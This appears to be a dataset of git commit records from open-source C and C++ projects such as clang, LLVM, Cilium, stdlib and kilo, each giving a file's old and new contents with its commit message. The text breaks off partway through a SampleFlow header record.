{"commit":"94ada1be3db0c968c4948074ee38144d98389e71","old_file":"test\/Frontend\/rewrite-includes-bom.c","new_file":"test\/Frontend\/rewrite-includes-bom.c","old_contents":"\/\/ RUN: %clang -E -frewrite-includes -I %S\/Inputs %s -o - | %clang -fsyntax-only -Xclang -verify -x c -\n\/\/ expected-no-diagnostics\n\n#include \"rewrite-includes-bom.h\"\n","new_contents":"\/\/ RUN: grep '^\\xEF\\xBB\\xBF' %S\/Inputs\/rewrite-includes-bom.h\n\/\/ RUN: %clang_cc1 -E -frewrite-includes -I %S\/Inputs %s -o - | %clang_cc1 -fsyntax-only -verify -x c - | not grep '\\xEF\\xBB\\xBF'\n\/\/ expected-no-diagnostics\n\n#include \"rewrite-includes-bom.h\"\n","subject":"Improve BOM test from r195877","message":"Improve BOM test from r195877\n\n 1) Use %clang_cc1 instead of the driver\n 2) Validate that the input contains a BOM\n 3) Validate that the BOM has been stripped from the output\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@195886 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"0c46e1fccad4e19eda5c380eb648324eb7c8a32e","old_file":"src\/common\/file_manager_interface.h","new_file":"src\/common\/file_manager_interface.h","old_contents":"#ifndef _FILE_MANAGER_INTERFACE_\n#define _FILE_MANAGER_INTERFACE_\n\n#include <string>\n#include <cstdint>\n\nclass FileManagerInterface {\npublic:\n\tvirtual bool send(\n                const std::string & host,\n                const unsigned short host_port,\n                std::string & file_path,\n                uint64_t from = 0,\n                uint64_t to = -1) = 0;\n\tvirtual ~FileManagerInterface(){};\n};\n\n#endif \/\/ _FILE_MANAGER_INTERFACE_\n","new_contents":"#ifndef _FILE_MANAGER_INTERFACE_\n#define _FILE_MANAGER_INTERFACE_\n\n#include <string>\n#include <cstdint>\n\nclass FileManagerInterface {\npublic:\n\tvirtual uint64_t send(\n                const std::string & host,\n                const unsigned short host_port,\n                std::string & file_path,\n                uint64_t from = 0,\n                uint64_t to = -1) = 0;\n\n    virtual std::std::vector<uint64_t> getIds() = 0;\n\n\tvirtual ~FileManagerInterface(){};\n};\n\n#endif \/\/ _FILE_MANAGER_INTERFACE_\n","subject":"Add getIds to file manager","message":"Add getIds to file manager\n","lang":"C","license":"mit","repos":"Plamenod\/P2P"}
{"commit":"c1dcd68ee1100bf66f10e2461c0b1e98db3a7ba9","old_file":"lib\/node_modules\/@stdlib\/strided\/common\/include\/stdlib\/strided_dtypes.h","new_file":"lib\/node_modules\/@stdlib\/strided\/common\/include\/stdlib\/strided_dtypes.h","old_contents":"","new_contents":"\/**\n* @license Apache-2.0\n*\n* Copyright (c) 2018 The Stdlib Authors.\n*\n* Licensed under the Apache License, Version 2.0 (the \"License\");\n* you may not use this file except in compliance with the License.\n* You may obtain a copy of the License at\n*\n*    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n*\n* Unless required by applicable law or agreed to in writing, software\n* distributed under the License is distributed on an \"AS IS\" BASIS,\n* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n* See the License for the specific language governing permissions and\n* limitations under the License.\n*\/\n\n\/**\n* Header file for strided array data types.\n*\/\n#ifndef STDLIB_STRIDED_DTYPES_H\n#define STDLIB_STRIDED_DTYPES_H\n\nenum STDLIB_STRIDED_DTYPES {\n\tSTDLIB_BOOL = 0,\n\n\tSTDLIB_INT8 = 1,\n\tSTDLIB_UINT8 = 2,\n\tSTDLIB_INT16 = 3,\n\tSTDLIB_UINT16 = 4,\n\tSTDLIB_INT32 = 5,\n\tSTDLIB_UINT32 = 6,\n\tSTDLIB_INT64 = 7,\n\tSTDLIB_UINT64 = 8,\n\tSTDLIB_INT128 = 9,\n\tSTDLIB_UINT128 = 10,\n\n\tSTDLIB_FLOAT16 = 20,\n\tSTDLIB_FLOAT32 = 21,\n\tSTDLIB_FLOAT64 = 22,\n\tSTDLIB_FLOAT128 = 23\n};\n\n#endif \/\/ !STDLIB_STRIDED_DTYPES_H\n","subject":"Enumerate strided array data types","message":"Enumerate strided array data types\n","lang":"C","license":"apache-2.0","repos":"stdlib-js\/stdlib,stdlib-js\/stdlib,stdlib-js\/stdlib,stdlib-js\/stdlib,stdlib-js\/stdlib,stdlib-js\/stdlib,stdlib-js\/stdlib,stdlib-js\/stdlib"}
{"commit":"05dd991df57aa4b918260912691cc0a1049044ae","old_file":"test\/suite\/bugs\/ifpp.c","new_file":"test\/suite\/bugs\/ifpp.c","old_contents":"","new_contents":"int f(int d)\n{\n    int i = 0, j, k, l;\n    if (d%2==0)\n        if (d%3==0)\n            i+=2;\n        else\n            i+=3;\n    if (d%2==0)\n    {\n        if (d%3==0)\n            i+=7;\n    }\n    else\n        i+=11;\n\n    l = d;\n    if (d%2==0)\n        while (l--)\n            if (1)\n              i+=13;\n            else\n              i+=17;\n    l = d;\n    \n    if (d%2==0)\n    {\n        while (l--)\n            if (1)\n              i+=21;\n    }\n    else\n        i+=23;\n\n    if (d==0)\n        i+=27;\n    else if (d%2==0)\n        if (d%3==0)\n            i+=29;\n        else if (d%5==0)\n            if (d%7==0)\n                i+=31;\n            else\n                i+=33;\n    return i;\n}\nint main()\n{\n  int i,k=0;\n  for(i=0;i<255;i++) \n  {\n    k+=f(i);\n  }\n  printf(\"Result: %d\\n\",k);\n}","subject":"Add another test for pretty printing if-then-else","message":"Add another test for pretty printing if-then-else","lang":"C","license":"bsd-3-clause","repos":"cartazio\/language-c,cartazio\/language-c,cartazio\/language-c"}
{"commit":"88a88431d2d22fd5f2ba1844670b7b67f58ad92f","old_file":"templates\/c\/main.c","new_file":"templates\/c\/main.c","old_contents":"#include <display.h>\n\n\/* Warning! C support in KnightOS is highly experimental. Your milage may vary. *\/\n\nvoid main(void) {\n\tSCREEN *screen;\n\tget_lcd_lock();\n\tscreen = screen_allocate();\n\tscreen_clear(screen);\n\tdraw_string(screen, 0, 0, \"Hello world!\");\n\tscreen_draw(screen);\n\twhile (1);\n}\n","new_contents":"#include <display.h>\n\n\/* Warning! C support in KnightOS is highly experimental. Your mileage may vary. *\/\n\nvoid main(void) {\n\tSCREEN *screen;\n\tget_lcd_lock();\n\tscreen = screen_allocate();\n\tscreen_clear(screen);\n\tdraw_string(screen, 0, 0, \"Hello world!\");\n\tscreen_draw(screen);\n\twhile (1);\n}\n","subject":"Fix typo in C template","message":"Fix typo in C template\n\nThanks @klange\n","lang":"C","license":"mit","repos":"KnightOS\/sdk,KnightOS\/sdk,KnightOS\/sdk"}
{"commit":"7b421e3feaffdc8a7daaeb4f0da65cf23a7166c5","old_file":"bst.h","new_file":"bst.h","old_contents":"#include <stdlib.h>\n#ifndef __BST_H__\n#define __BST_H__\nstruct BSTNode;\nstruct BST;\ntypedef struct BSTNode BSTNode;\ntypedef struct BST BST;\n\nBST* BST_Create(void);\n\n#endif","new_contents":"#include <stdlib.h>\n#ifndef __BST_H__\n#define __BST_H__\nstruct BSTNode;\nstruct BST;\ntypedef struct BSTNode BSTNode;\ntypedef struct BST BST;\n\nBST* BST_Create(void);\nBSTNode* BSTNode_Create(void* k);\n\n#endif","subject":"Add BSTNode Create function declaration","message":"Add BSTNode Create function declaration\n","lang":"C","license":"mit","repos":"MaxLikelihood\/CADT"}
{"commit":"a0f7873e71dd708b3193fffe35204f2f32fbde45","old_file":"program\/test\/vertigo_v2_config.h","new_file":"program\/test\/vertigo_v2_config.h","old_contents":"","new_contents":"\/\/Vertigo v2.0 board setting\n#define USE_FUTABA \n#define USE_IMU_MPU9250\n#define USE_ADS1246_MPX6115A\n#define STM32F427X\n\n","subject":"Add a mssissing file at previous commit","message":"Add a mssissing file at previous commit\n","lang":"C","license":"mit","repos":"ming6842\/firmware-new,fboris\/firmware,UrsusPilot\/firmware,fboris\/firmware,fboris\/firmware,UrsusPilot\/firmware,ming6842\/firmware,ming6842\/firmware,ming6842\/firmware-new,ming6842\/firmware-new,UrsusPilot\/firmware,ming6842\/firmware"}
{"commit":"8f91e164d1d23a3b0dc751bc0f9185af27dcb2c7","old_file":"os\/gl\/gl_context.h","new_file":"os\/gl\/gl_context.h","old_contents":"\/\/ LAF OS Library\n\/\/ Copyright (C) 2022  Igara Studio S.A.\n\/\/ Copyright (C) 2015-2016  David Capello\n\/\/\n\/\/ This file is released under the terms of the MIT license.\n\/\/ Read LICENSE.txt for more information.\n\n#ifndef OS_GL_CONTEXT_INCLUDED\n#define OS_GL_CONTEXT_INCLUDED\n#pragma once\n\nnamespace os {\n\nclass GLContext {\npublic:\n  virtual ~GLContext() { }\n  virtual bool isValid() { return false; }\n  virtual bool createGLContext() { }\n  virtual void destroyGLContext() { }\n  virtual void makeCurrent() { }\n  virtual void swapBuffers() { }\n};\n\n} \/\/ namespace os\n\n#endif\n","new_contents":"\/\/ LAF OS Library\n\/\/ Copyright (C) 2022  Igara Studio S.A.\n\/\/ Copyright (C) 2015-2016  David Capello\n\/\/\n\/\/ This file is released under the terms of the MIT license.\n\/\/ Read LICENSE.txt for more information.\n\n#ifndef OS_GL_CONTEXT_INCLUDED\n#define OS_GL_CONTEXT_INCLUDED\n#pragma once\n\nnamespace os {\n\nclass GLContext {\npublic:\n  virtual ~GLContext() { }\n  virtual bool isValid() { return false; }\n  virtual bool createGLContext() { return false; }\n  virtual void destroyGLContext() { }\n  virtual void makeCurrent() { }\n  virtual void swapBuffers() { }\n};\n\n} \/\/ namespace os\n\n#endif\n","subject":"Fix GLContext::createGLContext() impl (must return a value)","message":"Fix GLContext::createGLContext() impl (must return a value)\n","lang":"C","license":"mit","repos":"aseprite\/laf,aseprite\/laf"}
{"commit":"0303c2c8b394679f28154451d59cfcf153487e71","old_file":"test\/Driver\/integrated-as.c","new_file":"test\/Driver\/integrated-as.c","old_contents":"\/\/ RUN: %clang -### -c -save-temps -integrated-as %s 2>&1 | FileCheck %s\n\n\/\/ CHECK: cc1as\n\/\/ CHECK: -mrelax-all\n\n\/\/ RUN: %clang -### -fintegrated-as -c -save-temps %s 2>&1 | FileCheck %s -check-prefix FIAS\n\n\/\/ FIAS: cc1as\n\n\/\/ RUN: %clang -### -fno-integrated-as -S %s 2>&1 \\\n\/\/ RUN:     | FileCheck %s -check-prefix NOFIAS\n\n\/\/ NOFIAS-NOT: cc1as\n\/\/ NOFIAS: -cc1\n\/\/ NOFIAS: -no-integrated-as\n","new_contents":"\/\/ RUN: %clang -### -c -save-temps -integrated-as %s 2>&1 | FileCheck %s\n\n\/\/ CHECK: cc1as\n\/\/ CHECK: -mrelax-all\n\n\/\/ RUN: %clang -### -fintegrated-as -c -save-temps %s 2>&1 | FileCheck %s -check-prefix FIAS\n\n\/\/ FIAS: cc1as\n\n\/\/ RUN: %clang -target none -### -fno-integrated-as -S %s 2>&1 \\\n\/\/ RUN:     | FileCheck %s -check-prefix NOFIAS\n\n\/\/ NOFIAS-NOT: cc1as\n\/\/ NOFIAS: -cc1\n\/\/ NOFIAS: -no-integrated-as\n","subject":"Use a dummy target so the test passes when default target is for a toolchain implements useIntegratedAs() -> true","message":"Use a dummy target so the test passes when default target is for a toolchain implements useIntegratedAs() -> true\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@338553 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"aca0e26e885f5996cc27c1bf8524a36da3c68431","old_file":"bpf\/sockops\/sockops_config.h","new_file":"bpf\/sockops\/sockops_config.h","old_contents":"\/*\n *  Copyright (C) 2018 Authors of Cilium\n *\n *  This program is free software; you can redistribute it and\/or modify\n *  it under the terms of the GNU General Public License as published by\n *  the Free Software Foundation; either version 2 of the License, or\n *  (at your option) any later version.\n *\n *  This program is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *  GNU General Public License for more details.\n *\n *  You should have received a copy of the GNU General Public License\n *  along with this program; if not, write to the Free Software\n *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n *\/\n#ifndef SOCK_OPS_MAP\n#define SOCK_OPS_MAP cilium_sock_ops\n#endif\n#define SOCKOPS_MAP_SIZE 65535\n","new_contents":"\/*\n *  Copyright (C) 2018-2019 Authors of Cilium\n *\n *  This program is free software; you can redistribute it and\/or modify\n *  it under the terms of the GNU General Public License as published by\n *  the Free Software Foundation; either version 2 of the License, or\n *  (at your option) any later version.\n *\n *  This program is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *  GNU General Public License for more details.\n *\n *  You should have received a copy of the GNU General Public License\n *  along with this program; if not, write to the Free Software\n *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n *\/\n#ifndef SOCK_OPS_MAP\n#define SOCK_OPS_MAP cilium_sock_ops\n#endif\n#define SOCKOPS_MAP_SIZE 65535\n#ifndef CALLS_MAP\n#define CALLS_MAP test_cilium_calls\n#endif\n","subject":"Fix sockops map name for testing","message":"bpf: Fix sockops map name for testing\n\nFor testing purposes, this config file should contain the testing name\nof the map which should be different from the static name used by the\nCilium agent.\n\nSigned-off-by: Joe Stringer <16a9a54ddf4259952e3c118c763138e83693d7fd@cilium.io>\n","lang":"C","license":"apache-2.0","repos":"cilium\/cilium,tgraf\/cilium,cilium\/cilium,michi-covalent\/cilium,michi-covalent\/cilium,tgraf\/cilium,tklauser\/cilium,tgraf\/cilium,cilium\/cilium,michi-covalent\/cilium,tklauser\/cilium,tklauser\/cilium,tklauser\/cilium,michi-covalent\/cilium,tgraf\/cilium,cilium\/cilium,michi-covalent\/cilium,tgraf\/cilium,cilium\/cilium,tklauser\/cilium,tgraf\/cilium,cilium-team\/cilium,cilium-team\/cilium"}
{"commit":"f418b2182b8dbae45906ded6b4aedc07ffb7d90c","old_file":"ext\/glib\/glib.c","new_file":"ext\/glib\/glib.c","old_contents":"#include <ruby.h>\n#include <glib.h>\n\nstatic VALUE utf8_size(VALUE self, VALUE string)\n{\n  VALUE result;\n\n  Check_Type(string, T_STRING);\n  result = ULONG2NUM(g_utf8_strlen(StringValuePtr(string), RSTRING(string)->len));\n\n  return result;\n}\n\nstatic VALUE utf8_upcase(VALUE self, VALUE string)\n{\n  VALUE result;\n  gchar *temp;\n\n  Check_Type(string, T_STRING);\n  temp = g_utf8_strup(StringValuePtr(string), RSTRING(string)->len);\n  result = rb_str_new2(temp);\n\n  return result;\n}\n\nstatic VALUE utf8_downcase(VALUE self, VALUE string)\n{\n  VALUE result;\n  gchar *temp;\n\n  Check_Type(string, T_STRING);\n  temp = g_utf8_strdown(StringValuePtr(string), RSTRING(string)->len);\n  result = rb_str_new2(temp);\n\n  return result;\n}\n\nvoid\nInit_glib()\n{\n  VALUE mGlib;\n\n  mGlib = rb_define_module(\"Glib\");\n  rb_define_method(mGlib, \"utf8_size\", utf8_size, 1);\n  rb_define_method(mGlib, \"utf8_upcase\", utf8_upcase, 1);\n  rb_define_method(mGlib, \"utf8_downcase\", utf8_downcase, 1);\n}\n","new_contents":"#include <ruby.h>\n#include <glib.h>\n\nstatic VALUE utf8_size(VALUE self, VALUE string)\n{\n  VALUE result;\n\n  Check_Type(string, T_STRING);\n  result = ULONG2NUM(g_utf8_strlen(StringValuePtr(string), RSTRING(string)->len));\n\n  return result;\n}\n\nstatic VALUE utf8_upcase(VALUE self, VALUE string)\n{\n  VALUE result;\n  gchar *temp;\n\n  Check_Type(string, T_STRING);\n  temp = g_utf8_strup(StringValuePtr(string), RSTRING(string)->len);\n  result = rb_str_new2(temp);\n\n  return result;\n}\n\nstatic VALUE utf8_downcase(VALUE self, VALUE string)\n{\n  VALUE result;\n  gchar *temp;\n\n  Check_Type(string, T_STRING);\n  temp = g_utf8_strdown(StringValuePtr(string), RSTRING(string)->len);\n  result = rb_str_new2(temp);\n\n  return result;\n}\n\nvoid\nInit_glib()\n{\n  VALUE mGlib;\n\n  mGlib = rb_define_module(\"Glib\");\n  rb_define_module_function(mGlib, \"utf8_size\", utf8_size, 1);\n  rb_define_module_function(mGlib, \"utf8_upcase\", utf8_upcase, 1);\n  rb_define_module_function(mGlib, \"utf8_downcase\", utf8_downcase, 1);\n}\n","subject":"Define the Glib functions as module functions.","message":"Define the Glib functions as module functions.\n","lang":"C","license":"mit","repos":"Manfred\/unichars,Manfred\/unichars"}
{"commit":"5be7b1cb2ca955b29e43536422ce6f81f5a790bd","old_file":"Tests\/testing_util.h","new_file":"Tests\/testing_util.h","old_contents":"#pragma once\n\n#ifndef TESTING_UTIL_H\n#define TESTING_UTIL_H 1\n\n#include <Python.h>\n\n\/**\n    Use RAII to Py_XDECREF a pointer.\n\n    Inspired by std::unique_ptr.\n*\/\ntemplate <class T> class py_ptr {\nprivate:\n    T* m_ptr;\n\npublic:\n    py_ptr() : m_ptr(nullptr) {}\n    py_ptr(T* ptr) : m_ptr(ptr) {}\n\n    ~py_ptr() {\n        Py_XDECREF(m_ptr);\n    }\n\n    void reset(T* ptr) {\n        Py_XDECREF(m_ptr);\n        m_ptr = ptr;\n    }\n\n    T* get() {\n        return m_ptr;\n    }\n\n    T* operator->() {\n        return m_ptr;\n    }\n};\n\n\/**\n    A concrete PyObject instance of py_ptr.\n*\/\nclass PyObject_ptr : public py_ptr<PyObject> {\npublic:\n    PyObject_ptr(PyObject *ptr) : py_ptr(ptr) {}\n};\n\nPyCodeObject* CompileCode(const char*);\n\n#endif \/\/ !TESTING_UTIL_H\n","new_contents":"#pragma once\n\n#ifndef TESTING_UTIL_H\n#define TESTING_UTIL_H 1\n\n#include <Python.h>\n\n\/**\n    Use RAII to Py_XDECREF a pointer.\n\n    Inspired by std::unique_ptr.\n*\/\ntemplate <class T> class py_ptr {\nprivate:\n    T* m_ptr;\n\npublic:\n    py_ptr() : m_ptr(nullptr) {}\n    py_ptr(T* ptr) : m_ptr(ptr) {}\n    py_ptr(const py_ptr& copy) {\n        m_ptr = copy.get();\n        Py_INCREF(m_ptr);\n    }\n\n    ~py_ptr() {\n        Py_XDECREF(m_ptr);\n    }\n\n    void reset(T* ptr) {\n        Py_XDECREF(m_ptr);\n        m_ptr = ptr;\n    }\n\n    T* get() {\n        return m_ptr;\n    }\n\n    T* operator->() {\n        return m_ptr;\n    }\n\n    T* operator*() {\n        return m_ptr;\n    }\n};\n\n\/**\n    A concrete PyObject instance of py_ptr.\n*\/\nclass PyObject_ptr : public py_ptr<PyObject> {\npublic:\n    PyObject_ptr(PyObject *ptr) : py_ptr(ptr) {}\n};\n\nPyCodeObject* CompileCode(const char*);\n\n#endif \/\/ !TESTING_UTIL_H\n","subject":"Add a copy constructor and * overload","message":"Add a copy constructor and * overload\n","lang":"C","license":"mit","repos":"Microsoft\/Pyjion,Microsoft\/Pyjion,DinoV\/Pyjion-1,DinoV\/Pyjion-1,Microsoft\/Pyjion,brettcannon\/Pyjion,brettcannon\/Pyjion,DinoV\/Pyjion-1,Microsoft\/Pyjion,DinoV\/Pyjion-1,brettcannon\/Pyjion"}
{"commit":"1fd1905d4c7ef06723099f082b6cedfc50171c8d","old_file":"kilo.c","new_file":"kilo.c","old_contents":"#include <unistd.h>\n\nint main(int argc, char *argv[])\n{\n    char c;\n\n    \/\/ Read 1 byte at a time\n    while(read(STDIN_FILENO, &c, 1) == 1);\n    return 0;\n}\n","new_contents":"#include <ctype.h>\n#include <stdio.h>\n#include <unistd.h>\n#include <stdlib.h>\n#include <termios.h>\n\nstruct termios orig_termios;\n\nvoid enableRawMode();\nvoid disableRawMode();\n\nint main(int argc, char *argv[])\n{\n    enableRawMode();\n\n    \/\/ Read 1 byte at a time\n    while(1){\n        char input = '\\0'; \/\/ Input from user\n        read(STDIN_FILENO, &input, 1);\n        if(iscntrl(input)) {\n            printf(\"%d\\r\\n\", input);\n        } else {\n            printf(\"%d ('%c')\\r\\n\", input, input);\n        }\n\n        if(input == 'q') break;\n    }\n    return 0;\n}\n\nvoid enableRawMode(){\n    tcgetattr(STDIN_FILENO, &orig_termios);\n    atexit(disableRawMode);\n\n    struct termios raw;\n\n    tcgetattr(STDIN_FILENO,&raw);\n\n    \/\/ Flags to enable raw mode\n    raw.c_iflag &= ~(BRKINT | ICRNL | IXON | ISTRIP | INPCK);\n    raw.c_oflag &= ~(OPOST);\n    raw.c_cflag |= (CS8);\n    raw.c_lflag &= ~(ECHO | ICANON | IEXTEN | ISIG);\n\n    \/\/\n    raw.c_cc[VMIN] = 0; \/\/ Value sets minimum number of bytes of input needed bfore read() can return. Set so it returns right away\n    raw.c_cc[VTIME] = 1; \/\/ Maximum amount of time read waits to return, in tenths of seconds\n\n    tcsetattr(STDIN_FILENO, TCSAFLUSH, &raw);\n}\n\nvoid disableRawMode(){\n    tcsetattr(STDERR_FILENO,TCSAFLUSH,&orig_termios);\n}\n","subject":"Enable and disable raw mode in terminal","message":"Enable and disable raw mode in terminal\n","lang":"C","license":"bsd-2-clause","repos":"justinbarclay\/tedit"}
{"commit":"965b215fcf513150671168750f77f624dc369abe","old_file":"src\/proxy.h","new_file":"src\/proxy.h","old_contents":"\/\/ Copyright 2014 Toggl Desktop developers.\n\n#ifndef SRC_PROXY_H_\n#define SRC_PROXY_H_\n\n#include <string>\n\n#include \".\/types.h\"\n\n#include \"Poco\/Types.h\"\n\nnamespace kopsik {\n\nclass Proxy {\n public:\n    Proxy() :\n    host(\"\"),\n    port(0),\n    username(\"\"),\n    password(\"\") {}\n\n    bool IsConfigured() const;\n    bool HasCredentials() const;\n    std::string String() const;\n\n    std::string host;\n    Poco::UInt16 port;\n    std::string username;\n    std::string password;\n};\n\n}  \/\/ namespace kopsik\n\n#endif  \/\/ SRC_PROXY_H_\n","new_contents":"\/\/ Copyright 2014 Toggl Desktop developers.\n\n#ifndef SRC_PROXY_H_\n#define SRC_PROXY_H_\n\n#include <string>\n\n#include \".\/types.h\"\n\n#include \"Poco\/Types.h\"\n\nnamespace kopsik {\n\nclass Proxy {\n public:\n    Proxy() :\n    host(\"\"),\n    port(0),\n    username(\"\"),\n    password(\"\") {}\n\n    bool IsConfigured() const;\n    bool HasCredentials() const;\n    std::string String() const;\n\n    std::string host;\n    Poco::UInt64 port;\n    std::string username;\n    std::string password;\n};\n\n}  \/\/ namespace kopsik\n\n#endif  \/\/ SRC_PROXY_H_\n","subject":"Use same int 64 type","message":"Use same int 64 type\n","lang":"C","license":"bsd-3-clause","repos":"codeman38\/toggldesktop,codeman38\/toggldesktop,codeman38\/toggldesktop,codeman38\/toggldesktop,codeman38\/toggldesktop,codeman38\/toggldesktop"}
{"commit":"229a3770f699e8688d0d6c798920ac5a497ada44","old_file":"include\/llvm\/Transforms\/Utils\/BasicBlockUtils.h","new_file":"include\/llvm\/Transforms\/Utils\/BasicBlockUtils.h","old_contents":"\/\/===-- Transform\/Utils\/BasicBlockUtils.h - BasicBlock Utilities -*- C++ -*-==\/\/\n\/\/\n\/\/ This family of functions perform manipulations on basic blocks, and\n\/\/ instructions contained within basic blocks.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_TRANSFORMS_UTILS_BASICBLOCK_H\n#define LLVM_TRANSFORMS_UTILS_BASICBLOCK_H\n\n\/\/ FIXME: Move to this file: BasicBlock::removePredecessor, BB::splitBasicBlock\n\n#include \"llvm\/BasicBlock.h\"\nclass Instruction;\n\n\n\/\/ ReplaceInstWithValue - Replace all uses of an instruction (specified by BI)\n\/\/ with a value, then remove and delete the original instruction.\n\/\/\nvoid ReplaceInstWithValue(BasicBlock::InstListType &BIL,\n                          BasicBlock::iterator &BI, Value *V);\n\n\/\/ ReplaceInstWithInst - Replace the instruction specified by BI with the\n\/\/ instruction specified by I.  The original instruction is deleted and BI is\n\/\/ updated to point to the new instruction.\n\/\/\nvoid ReplaceInstWithInst(BasicBlock::InstListType &BIL,\n                         BasicBlock::iterator &BI, Instruction *I);\n\n\/\/ ReplaceInstWithInst - Replace the instruction specified by From with the\n\/\/ instruction specified by To.  Note that this is slower than providing an\n\/\/ iterator directly, because the basic block containing From must be searched\n\/\/ for the instruction.\n\/\/\nvoid ReplaceInstWithInst(Instruction *From, Instruction *To);\n\n#endif\n","new_contents":"\/\/===-- Transform\/Utils\/BasicBlockUtils.h - BasicBlock Utilities -*- C++ -*-==\/\/\n\/\/\n\/\/ This family of functions perform manipulations on basic blocks, and\n\/\/ instructions contained within basic blocks.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_TRANSFORMS_UTILS_BASICBLOCK_H\n#define LLVM_TRANSFORMS_UTILS_BASICBLOCK_H\n\n\/\/ FIXME: Move to this file: BasicBlock::removePredecessor, BB::splitBasicBlock\n\n#include \"llvm\/BasicBlock.h\"\nclass Instruction;\n\n\/\/ ReplaceInstWithValue - Replace all uses of an instruction (specified by BI)\n\/\/ with a value, then remove and delete the original instruction.\n\/\/\nvoid ReplaceInstWithValue(BasicBlock::InstListType &BIL,\n                          BasicBlock::iterator &BI, Value *V);\n\n\/\/ ReplaceInstWithInst - Replace the instruction specified by BI with the\n\/\/ instruction specified by I.  The original instruction is deleted and BI is\n\/\/ updated to point to the new instruction.\n\/\/\nvoid ReplaceInstWithInst(BasicBlock::InstListType &BIL,\n                         BasicBlock::iterator &BI, Instruction *I);\n\n\/\/ ReplaceInstWithInst - Replace the instruction specified by From with the\n\/\/ instruction specified by To.\n\/\/\nvoid ReplaceInstWithInst(Instruction *From, Instruction *To);\n\n\n\/\/ RemoveSuccessor - Change the specified terminator instruction such that its\n\/\/ successor #SuccNum no longer exists.  Because this reduces the outgoing\n\/\/ degree of the current basic block, the actual terminator instruction itself\n\/\/ may have to be changed.  In the case where the last successor of the block is\n\/\/ deleted, a return instruction is inserted in its place which can cause a\n\/\/ suprising change in program behavior if it is not expected.\n\/\/\nvoid RemoveSuccessor(TerminatorInst *TI, unsigned SuccNum);\n\n#endif\n","subject":"Implement a new RemoveSuccessor function","message":"Implement a new RemoveSuccessor function\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@3130 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"chubbymaggie\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,dslab-epfl\/asap,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,dslab-epfl\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm"}
{"commit":"a634d931d606121d6384798ff90e0d07016e522c","old_file":"include\/sampleflow\/filters\/component_splitter.h","new_file":"include\/sampleflow\/filters\/component_splitter.h","old_contents":"","new_contents":"\/\/ ---------------------------------------------------------------------\n\/\/\n\/\/ Copyright (C) 2019 by the SampleFlow authors.\n\/\/\n\/\/ This file is part of the SampleFlow library.\n\/\/\n\/\/ The deal.II library is free software; you can use it, redistribute\n\/\/ it, and\/or modify it under the terms of the GNU Lesser General\n\/\/ Public License as published by the Free Software Foundation; either\n\/\/ version 2.1 of the License, or (at your option) any later version.\n\/\/ The full text of the license can be found in the file LICENSE.md at\n\/\/ the top level directory of deal.II.\n\/\/\n\/\/ ---------------------------------------------------------------------\n\n#ifndef SAMPLEFLOW_FILTERS_COMPONENT_SPLITTER_H\n#define SAMPLEFLOW_FILTERS_COMPONENT_SPLITTER_H\n\n#include <sampleflow\/filter.h>\n\nnamespace SampleFlow\n{\n  namespace Filters\n  {\n    template <typename InputType>\n    class ComponentSplitter : public Filter<InputType, typename InputType::value_type>\n    {\n      public:\n        ComponentSplitter (const unsigned int selected_component);\n\n        virtual\n        boost::optional<std::pair<InputType, AuxiliaryData> >\n        filter (InputType sample,\n                AuxiliaryData aux_data) override;\n\n      private:\n        const unsigned int selected_component;\n    };\n\n\n\n    template <typename InputType>\n    ComponentSplitter<InputType>::\n    ComponentSplitter (const unsigned int selected_component)\n      : selected_component(selected_component)\n    {}\n\n\n\n    template <typename InputType>\n    boost::optional<std::pair<InputType, AuxiliaryData> >\n    ComponentSplitter<InputType>::\n    filter (InputType sample,\n            AuxiliaryData 